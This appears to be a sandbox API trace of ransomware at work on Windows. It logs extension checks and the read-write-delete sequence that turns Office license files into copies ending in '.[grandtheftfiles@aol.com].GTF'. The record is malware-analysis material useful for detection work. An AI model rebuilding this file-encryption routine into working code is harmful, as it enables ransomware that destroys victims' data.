	[0183.067] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.067] lstrlenW (lpString=".zip") returned 4
	[0183.067] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.067] lstrlenW (lpString=".rar") returned 4
	[0183.067] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.067] lstrlenW (lpString=".bz2") returned 4
	[0183.067] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.067] lstrlenW (lpString=".7z") returned 3
	[0183.067] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.067] lstrlenW (lpString=".dbf") returned 4
	[0183.067] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.067] lstrlenW (lpString=".1cd") returned 4
	[0183.067] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.067] lstrlenW (lpString=".jpg") returned 4
	[0183.067] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.067] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.067] lstrlenW (lpString="OneNoteVL_MAK-ul-oob.xrm-ms") returned 27
	[0183.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0183.068] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11586) returned 1
	[0183.068] CloseHandle (hObject=0x568) returned 1
	[0183.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms")) returned 0x220
	[0183.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0183.069] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.069] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0183.070] GetLastError () returned 0x0
	[0183.070] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d42, lpOverlapped=0x0) returned 1
	[0183.071] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0183.072] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.072] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0183.072] SetEndOfFile (hFile=0x560) returned 1
	[0183.084] CloseHandle (hObject=0x560) returned 1
	[0183.084] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.084] SetEndOfFile (hFile=0x568) returned 1
	[0183.174] CloseHandle (hObject=0x568) returned 1
	[0183.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms")) returned 1
	[0183.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.175] lstrlenW (lpString=".doc") returned 4
	[0183.176] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString=".docx") returned 5
	[0183.176] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.176] lstrlenW (lpString=".pdf") returned 4
	[0183.176] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString=".xls") returned 4
	[0183.176] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString=".xlsx") returned 5
	[0183.176] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.176] lstrlenW (lpString=".ppt") returned 4
	[0183.176] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.176] lstrlenW (lpString=".zip") returned 4
	[0183.176] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString=".rar") returned 4
	[0183.176] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString=".bz2") returned 4
	[0183.176] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString=".7z") returned 3
	[0183.176] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.176] lstrlenW (lpString=".dbf") returned 4
	[0183.176] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.176] lstrlenW (lpString=".1cd") returned 4
	[0183.176] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.176] lstrlenW (lpString=".jpg") returned 4
	[0183.176] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.176] lstrlenW (lpString=".doc") returned 4
	[0183.176] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.176] lstrlenW (lpString=".docx") returned 5
	[0183.176] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.177] lstrlenW (lpString=".pdf") returned 4
	[0183.177] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.177] lstrlenW (lpString=".xls") returned 4
	[0183.177] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.177] lstrlenW (lpString=".xlsx") returned 5
	[0183.177] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.177] lstrlenW (lpString=".ppt") returned 4
	[0183.177] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.177] lstrlenW (lpString=".zip") returned 4
	[0183.177] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.177] lstrlenW (lpString=".rar") returned 4
	[0183.177] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.177] lstrlenW (lpString=".bz2") returned 4
	[0183.177] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.177] lstrlenW (lpString=".7z") returned 3
	[0183.177] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.177] lstrlenW (lpString=".dbf") returned 4
	[0183.177] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.177] lstrlenW (lpString=".1cd") returned 4
	[0183.177] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77
	[0183.177] lstrlenW (lpString=".jpg") returned 4
	[0183.177] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.177] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.177] lstrlenW (lpString="OutlookR_OEM_Perp-pl.xrm-ms") returned 27
	[0183.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0183.178] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10643) returned 1
	[0183.178] CloseHandle (hObject=0x568) returned 1
	[0183.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms")) returned 0x220
	[0183.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0183.184] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.184] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0183.185] GetLastError () returned 0x0
	[0183.185] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2993, lpOverlapped=0x0) returned 1
	[0183.187] WriteFile (in: hFile=0x298, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0183.188] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.188] WriteFile (in: hFile=0x298, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0183.189] SetEndOfFile (hFile=0x298) returned 1
	[0183.189] CloseHandle (hObject=0x298) returned 1
	[0183.189] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.189] SetEndOfFile (hFile=0x568) returned 1
	[0183.191] CloseHandle (hObject=0x568) returned 1
	[0183.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms")) returned 1
	[0183.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.193] lstrlenW (lpString=".doc") returned 4
	[0183.193] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.193] lstrlenW (lpString=".docx") returned 5
	[0183.193] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.193] lstrlenW (lpString=".pdf") returned 4
	[0183.193] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.193] lstrlenW (lpString=".xls") returned 4
	[0183.193] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.193] lstrlenW (lpString=".xlsx") returned 5
	[0183.193] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.193] lstrlenW (lpString=".ppt") returned 4
	[0183.193] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.193] lstrlenW (lpString=".zip") returned 4
	[0183.193] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.193] lstrlenW (lpString=".rar") returned 4
	[0183.193] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.193] lstrlenW (lpString=".bz2") returned 4
	[0183.193] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.193] lstrlenW (lpString=".7z") returned 3
	[0183.193] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.193] lstrlenW (lpString=".dbf") returned 4
	[0183.193] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.193] lstrlenW (lpString=".1cd") returned 4
	[0183.193] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.193] lstrlenW (lpString=".jpg") returned 4
	[0183.193] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.193] lstrlenW (lpString=".doc") returned 4
	[0183.194] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.194] lstrlenW (lpString=".docx") returned 5
	[0183.194] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.194] lstrlenW (lpString=".pdf") returned 4
	[0183.194] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.194] lstrlenW (lpString=".xls") returned 4
	[0183.194] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.194] lstrlenW (lpString=".xlsx") returned 5
	[0183.194] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.194] lstrlenW (lpString=".ppt") returned 4
	[0183.194] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.194] lstrlenW (lpString=".zip") returned 4
	[0183.194] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.194] lstrlenW (lpString=".rar") returned 4
	[0183.194] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.194] lstrlenW (lpString=".bz2") returned 4
	[0183.194] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.194] lstrlenW (lpString=".7z") returned 3
	[0183.194] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.194] lstrlenW (lpString=".dbf") returned 4
	[0183.194] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.194] lstrlenW (lpString=".1cd") returned 4
	[0183.194] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77
	[0183.194] lstrlenW (lpString=".jpg") returned 4
	[0183.194] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.194] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.194] lstrlenW (lpString="OutlookR_OEM_Perp-ppd.xrm-ms") returned 28
	[0183.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0183.195] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=20781) returned 1
	[0183.195] CloseHandle (hObject=0x568) returned 1
	[0183.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0183.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0183.196] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.196] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0183.197] GetLastError () returned 0x0
	[0183.197] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x512d, lpOverlapped=0x0) returned 1
	[0183.199] WriteFile (in: hFile=0x298, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0183.200] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.200] WriteFile (in: hFile=0x298, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0183.200] SetEndOfFile (hFile=0x298) returned 1
	[0183.200] CloseHandle (hObject=0x298) returned 1
	[0183.201] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.201] SetEndOfFile (hFile=0x568) returned 1
	[0183.204] CloseHandle (hObject=0x568) returned 1
	[0183.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms")) returned 1
	[0183.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.205] lstrlenW (lpString=".doc") returned 4
	[0183.205] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.205] lstrlenW (lpString=".docx") returned 5
	[0183.205] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.205] lstrlenW (lpString=".pdf") returned 4
	[0183.205] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.205] lstrlenW (lpString=".xls") returned 4
	[0183.205] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.205] lstrlenW (lpString=".xlsx") returned 5
	[0183.205] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.205] lstrlenW (lpString=".ppt") returned 4
	[0183.205] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.205] lstrlenW (lpString=".zip") returned 4
	[0183.205] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.205] lstrlenW (lpString=".rar") returned 4
	[0183.205] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.205] lstrlenW (lpString=".bz2") returned 4
	[0183.205] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.205] lstrlenW (lpString=".7z") returned 3
	[0183.205] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.205] lstrlenW (lpString=".dbf") returned 4
	[0183.205] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.205] lstrlenW (lpString=".1cd") returned 4
	[0183.205] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
